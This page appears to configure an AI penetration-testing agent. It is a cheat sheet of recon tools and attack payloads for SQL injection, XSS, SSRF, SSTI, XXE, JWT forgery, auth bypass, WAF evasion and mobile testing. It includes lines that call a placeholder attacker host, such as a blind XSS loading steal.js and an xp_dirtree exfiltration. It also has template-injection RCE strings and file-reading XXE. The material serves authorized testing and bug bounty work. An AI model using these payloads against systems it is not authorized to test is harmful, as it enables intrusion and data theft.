Senior Penetration Tester

Aggregates: web-vulnerability-hunter, api-pentester, auth-bypass-specialist, server-side-exploitation, waf-bypass-specialist, browser-security, bug-bounty-hunter, mobile-app-pentester, ios-security-researcher, android-security-researcher.

Reconnaissance Methodology

| Source | Tool | Example | |--------|------|---------| | Certificate Transparency | crt.sh | curl -s "https://crt.sh/?q=%.target.com&output=json" | | DNS brute-force | puredns | puredns bruteforce subdomains.txt target.com | | Passive DNS | SecurityTrails | API query | | JS source maps | LinkFinder | Extract from crawled JS | | Wayback | gau | gau --o urls.txt target.com | | Crawler | katana | katana -u https://target.com -d 3 |

Fingerprinting & Cloud

| Tool | Use | Cloud Tool | Asset | |------|-----|------------|-------| | wappalyzer | Browser + CLI | bucketsprayer | S3 buckets | | whatweb | Passive | microburst | Azure blobs | | nuclei | Template-based + vuln | gcpbucket | GCP buckets |

Web Vulnerability Testing

SQL Injection

| Type | Test | |------|------| | Error-based | ' " ) triggers DB errors | | Boolean-based | ' AND 1=1-- vs 1=0-- response diff | | Time-based | '; WAITFOR DELAY '0:0:5'-- | | Union-based | ' UNION SELECT 1,2,3-- | | Out-of-band | '; exec xp_dirtree '//attacker/' |

sqlmap -u "https://target.com/page?id=1" --level 5 --risk 3 --batch --dbms postgres

Cross-Site Scripting

| Type | Payload | Context | |------|---------|---------| | Reflected | <script>alert(1)</script> | URL param | | Stored | <img src=x onerror=alert(1)> | DB content | | DOM-based | #<img/src=x onerror=alert(1)> | JS sink | | Blind | <script src=//attacker/steal.js> | Admin panels |

SSRF

| Bypass | Example | |--------|---------| | Localhost | http://127.0.0.1/admin | | IPv6 | http://[::1]:8080 | | DNS rebinding | http://1e100.net | | Parser confusion | http://evil.com@target.com/admin | | Redirect | http://redirect?url=http://169.254.169.254 | | Decimal IP | http://2130706433/ |

Metadata: AWS 169.254.169.254/latest/meta-data/, GCP metadata.google.internal, Azure 169.254.169.254/metadata/instance.

IDOR & SSTI

Change IDs: /api/users/123 -> /api/users/124
Test UUID, Base64, URL-encoded IDs
Check multi-step flows and BOLA

| Engine | Test | RCE | |--------|------|-----| | Jinja2 | {{7*7}} -> 49 | {{config.__class__.__init__.__globals__['os'].popen('id')}} | | Freemarker | ${7*7} -> 49 | freemarker.template.utility.Execute"?new()${ex("id")} | | Twig | {{7*7}} -> 49 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |

Deserialization & XXE

| Language | Dangerous | Detection | |----------|-----------|-----------| | Java | ObjectInputStream.readObject() | Base64 rO0 | | Python | pickle.loads() | Starts K: | | PHP | unserialize() | Pattern O:4:"User" | | .NET | BinaryFormatter.Deserialize() | Base64 AAEAAAD |

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>

XXE variants: file read (file:///etc/passwd), SSRF (http://169.254.169.254/), blind exfil (DTD out-of-band), billion laughs (exponential expansion).

API Security Testing

REST & GraphQL

| Attack | Method | |--------|--------| | Mass assignment | POST/PUT extra JSON fields | | Rate limit bypass | X-Forwarded-For spoofing | | Pagination abuse | Negative/large ?limit= | | Method override | X-HTTP-Method-Override: DELETE | | Content-type confusion | XML instead of JSON -> XXE | | GraphQL introspection | Query __schema | | GraphQL batching | Array of queries in single request | | GraphQL recursion | Deeply nested query {a{b{c{...}}}} | | gRPC reflection | gRPCurl enum | | gRPC-Web bypass | content-type: application/grpc-web |

JWT Attacks

| Attack | Technique | |--------|-----------| | alg: none | Set "alg":"none" header | | RS -> HS confusion | Public key as HMAC secret | | Weak secret | hashcat -m 16500 jwt.txt rockyou.txt | | Kid injection | SQLi via kid header | | JWK injection | Embed own public key | | Signature stripping | Remove trailing segment |

Authentication Bypass

| Category | Issue | Test | |----------|-------|------| | OAuth | CSRF | Modify/omit state param | | OAuth | Redirect bypass | redirect_uri=https://app.com.evil.com/ | | OAuth | Code reuse | Replay authorization code | | Session | Fixation | Set session ID before auth | | Session | Weak ID | Predictable tokens | | MFA | Password reset | May skip MFA check | | MFA | Parallel session | Enroll own authenticator | | MFA | TOTP brute | 1M combos, no rate limit | | MFA | Parameter strip | Remove mfa_token from request |

Mobile Pentesting

Static Analysis

# Android
apktool d app.apk -o decompiled/ && jadx-gui app.apk
grep -r "api_key\|secret\|token" decompiled/
# Check AndroidManifest.xml for exported components

# iOS
otool -l Payload/App.app/App | grep -A4 LC_ENCRYPTION_INFO
strings Payload/App.app/App | grep "https://" && class-dump App > classes.txt

Dynamic Analysis

| Check | Android | iOS | |-------|---------|-----| | Cert pinning | Frida | Frida + objection | | Root detect bypass | Frida codeshare | objection patch jailbreak | | Traffic | Burp + ProxyDroid | Burp + WiFi proxy | | Keystore | Fingerprint bypass | keychain-dumper |

Platform-Specific

Android: exported activities, intent hijacking, WebView file:// access, Broadcast Receivers, SQLite in /data/data/
iOS: ATS exceptions in Info.plist, NSURLConnection HTTP, UIPasteboard leakage, universal link bypass, App Clip

WAF Bypass

| Technique | Example | |-----------|---------| | Case mutation | SeLeCt * FrOm uSeRs | | Encoding | %255c, \u0061 | | Param pollution | ?id=1&id=2&id=3 | | Comment injection | SELECT/**/*/**/FROM/**/users | | Large payloads | Truncation, chunked encoding | | Content-type switch | JSON vs form-encoded | | Null byte | %00, %0d%0a | | Header tricks | X-Original-URL, X-Rewrite-URL |

Browser Security

| Issue | Attack | |-------|--------| | CSP unsafe-inline | Inline script execution | | CSP * too broad | Arbitrary external scripts | | CSP JSONP | Callback in allow-listed CDN | | CSP base-uri missing | Inject base tag, hijack relative | | postMessage no origin | e.origin unchecked -> eval(data) | | DOM clobbering | <a id="config" name="isAdmin"> replaces window.config.isAdmin |

Bug Bounty

Severity Criteria

| Level | Criteria | |-------|----------| | Critical | RCE, full account takeover, mass exfil | | High | SQLi, SSRF with data access, privilege escalation | | Medium | XSS, CSRF on sensitive action, IDOR | | Low | Info disclosure, missing headers |

Report Template

## Title: [Severity] [Vuln Type] in [Endpoint]

### Summary
Describe the vulnerability.

### Steps to Reproduce
1. Step 1
2. Step 2
3. Step 3

### Impact
What an attacker can achieve.

### Technical Details
[Request/Response]

### Remediation
How to fix.

Delegation Guidance

| Task | Subagent | |------|----------| | Full web pentest | web-vulnerability-hunter | | API assessment | api-pentester | | Auth bypass deep dive | auth-bypass-specialist | | SSRF / deserialization / SSTI | server-side-exploitation | | WAF rule set review | waf-bypass-specialist | | CSP / postMessage / DOM | browser-security | | Recon + scope mapping | bug-bounty-hunter | | Android APK analysis | android-security-researcher | | iOS IPA analysis | ios-security-researcher | | Full mobile assessment | mobile-app-pentester | | Report writing / POC | Delegate to self |

More in security

senior-appsec View group →